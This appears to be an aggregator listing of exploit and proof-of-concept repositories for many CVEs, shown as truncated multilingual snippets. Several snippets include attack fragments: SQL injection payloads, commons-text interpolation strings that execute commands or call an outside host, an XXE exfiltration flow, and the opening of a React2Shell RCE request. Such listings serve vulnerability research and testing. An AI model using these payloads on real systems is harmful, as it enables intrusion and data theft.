CVE-2021-29447

WAV iXML XXE 漏洞利用生成器 生成恶意 WAV 文件，利用解析 iXML 元数据块的 WordPress 插件中的 XXE 漏洞（例如 BookingPress │ Target │ └──────────┘ └──────────┘ ▲ │ │ │ 2. Parse XML │ │ │ 3. GET /xxe.dtd │ │─────────────────────────────┘ │ │ 4. GET /?p=base64data │─────────────────────────────┐ │ │ └─ Decode and read file │ 受影响的目标...

CVE-2020-5248

Configuración del entorno POC y prueba de CVE-2020-5248. Método de prueba Configuración del entorno vim docker/nginx/default.conf servername docker host ip ; -change mysqlserver: mysql id: root pw: root Ejecución cd docker/app/ tar -xvf /docker/app/glpi-9.4.5.tgz chmod -R 777 glpi docker-compose ...

CVE-2025-63943

CVE-2025-63943 — Grocery Store Management System 1.0 中的 SQL 注入漏洞 概述 在 Grocery Store Management System 1.0 （一个由 anirudhkannan 开发的基于 PHP/MySQL 的 Web 应用程序）的 searchproducts.php 组件中，发现了一个高严重性的 SQL 注入 漏洞。 该问题源于对用户控制的 scost 参数输入验证不当以及不安全的 SQL 查询构建方式。此漏洞使攻击者能够操纵底层 SQL 逻辑，可能导致敏感数据泄露、数据篡改或数据库完全沦陷。 受影响产品 名称...

cve-2025-55182

CVE-2025-55182 又名 React2Shell 搭建测试环境 kiot :: /react2shell » docker compose build --no-cache kiot :: /react2shell » docker compose up POC Payload 1. 通过响应体实现 RCE POST / HTTP/1.1 Host: localhost:3000 Next-Action: whatever Content-Type: multipart/form-data; boundary=----cve202555182 Content-Length: 6...

WordPress RepairBuddy plugin <= 4.1226 - Sensitive Data Exposure vulnerability

Sensitive Data Exposure vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin RepairBuddy versions = 4.1226...

WordPress Five Star Restaurant Reservations plugin <= 2.7.24 - Sensitive Data Exposure vulnerability

Sensitive Data Exposure vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Five Star Restaurant Reservations versions = 2.7.24...

CVE-2024-56429

CVE-2024-56429 Acceso a la base de datos local del iLabClient Extraer la contraseña de la base de datos iLabClient utiliza una base de datos Apache Derby para almacenar los datos necesarios localmente. Para garantizar el cifrado, se utiliza un bootPassword para la creación, que puede extraerse de...

CVE-2025-8088-Exploit

CVE-2025-8088 Exploit de WinRAR 🔓 Un exploit de prueba de concepto para la vulnerabilidad de WinRAR CVE-2025-8088 que afecta a las versiones 7.12 y anteriores. Esta herramienta crea un archivo RAR malicioso que incrusta cargas útiles en flujos de datos alternativos ADS con path traversal, lo que...

Joomblah

Joomblah 针对Joomla 3.7.0的漏洞利用工具 CVE-2017-8917 漏洞解释： https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html 代码修改 第46行修改 ... result += value.decode'utf-8' ... 使用方法 将joomblah.py脚本指向存在漏洞的Joomla 3.7.0安装目录，可能需要一些时间，但会导出用户和会话表。 $ python joomblah.py http://127.0.0.1:8080 .---. .-'''-...

CVE-2022-42889

CVE-2022-42889-POC 一个简单的演示应用程序，展示了如何利用CVE-2022-42889漏洞。 利用带外（OOB）服务来演示dns和url前缀。 commons-text插值的JavaDoc：commons-text JavaDocs 插值示例 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST" url "$url:UTF-8:http://HOST" 引用自Rapid7...

CVE-2023-0400

Trellix 数据丢失防护 DLP 绕过 https://kcm.trellix.com/corporate/index?page=content&id=SB10394...

CVE-2021-44228-docker-example

CVE-2021-44228-docker-example Una simple demostración de CVE-2021-44228 para transferir datos desde un servidor vulnerable a un servicio web controlado por un atacante. Todos los componentes implicados se ejecutan mediante Docker. Componentes vulnerable-server Este es un servidor Java estándar qu...

CVE-2024-11394

CVE-2024-11394 Hugging Face Transformers Trax 模型反序列化不可信数据导致远程代码执行漏洞 漏洞的高层概述及影响： 攻击者可以通过向 Hugging Face Transformers 仓库中的 convertreformertraxcheckpointtopytorch.py 脚本提供一个恶意的 reformer trax 检查点文件，从而在目标主机上执行任意代码。 如果不知情的用户使用了第三方的 reformer trax 检查点文件，执行 convertreformertraxcheckpointtopytorch.py...

CVE-2023-32590

CVE-2023-32590 Subscribe to Category = 2.7.4 - 未认证SQL注入 描述 Subscribe to Category WordPress插件在版本2.7.4及之前存在SQL注入漏洞，原因是用户提供的参数转义不足，且现有SQL查询缺乏充分的预处理。这使得未经身份验证的攻击者能够将额外的SQL查询追加到现有查询中，从而从数据库中提取敏感信息。CVE-2023-38382可能是此问题的重复分配。 详细信息 类型 : 插件 Slug : subscribe-to-category 受影响版本 : 2.7.4 CVSS分数 : 9.8 CVSS评级 : ...

RISE-Ultimate_Project_Manager_e_CRM

CVE-2025-3855 - RISE Ultimate Project Manager - IDOR 安全漏洞：IDOR（不安全的直接对象引用） 受影响组件：个人资料图片上传端点，teammembers 控制器 软件：RISE - Ultimate Project Manager & CRM 供应商：codecanyon 版本：3.8.2 CVE ORG : https://vulners.com/cve/CVE-2025-3855 NIST: https://nvd.nist.gov/vuln/detail/CVE-2025-3855 CVE DETAILS:...

CVE-2024-13479

CVE-2024-13479 LTL货运报价 – SEFL版 = 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause GTIDSUBSET Payload: action=enwdeditwarehouse&editid=1 AND GTIDSUBSETCONCAT0x7170787171,SELECT ELT3874=3874,1,0x717a627171,3874&wpnonce=13db5f2e7d Type: time-based blind Title: MySQL = 5.0.12 AND...

CVE-2024-13481

CVE-2024-13481 LTL Freight Quotes – R+L Carriers Edition = 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause GTIDSUBSET Payload: action=enwdeditwarehouse&editid=1 AND GTIDSUBSETCONCAT0x7170787171,SELECT ELT3874=3874,1,0x717a627171,3874&wpnonce=13db5f2e7d Type: time-based blind Titl...

CVE-2022-39196-

CVE-2022-39196 Black board CMS 权限提升 Blackboard Learn 1.10.1 版本允许远程认证用户通过输入学生凭证并直接访问特定 webapps/bbcms/execute/ URL 来读取非预期的文件。 附加信息 步骤1：使用学生凭证权限。用户名： 及密码： 进行登录。 步骤2：使用"学生"账户权限成功登录后。 步骤3：然后请求"漏洞的URL/位置"。 步骤4：无需任何权限要求，直接将会话从"学生"提升为"竞赛管理系统"权限。 漏洞类型 敏感数据泄露 产品供应商 Blackboard Learn LMS 受影响产品代码库 LMS - 1.10....

CVE-2024-54292

CVE-2024-54292 Appsplate = 2.1.3 - Inyección SQL no autenticada Descripción El plugin Appsplate para WordPress es vulnerable a la inyección SQL en versiones hasta la 2.1.3 inclusive, debido al escape insuficiente del parámetro proporcionado por el usuario y a la falta de preparación suficiente de...

CVE-2024-41290

CVE-2024-41290 发现 FlatPress CMS v1.3.1 1.3 使用不安全的方法存储认证数据 附加信息： FlatPress CMS 1.3.1 版本将包括用户名和密码哈希在内的认证相关数据不安全地直接存储在客户端 Cookie 中。这种做法使敏感信息面临攻击者未经授权访问和篡改的风险。 产品厂商： 在 Cookie 中不安全地存储认证数据 受影响产品代码库： FlatPress CMS version 1.3.1 - 1.3 受影响组件： Cookie 影响： 用户名和密码哈希暴露在客户端 Cookie 中，可能被未经授权方访问或修改。 如果攻击者获得这些...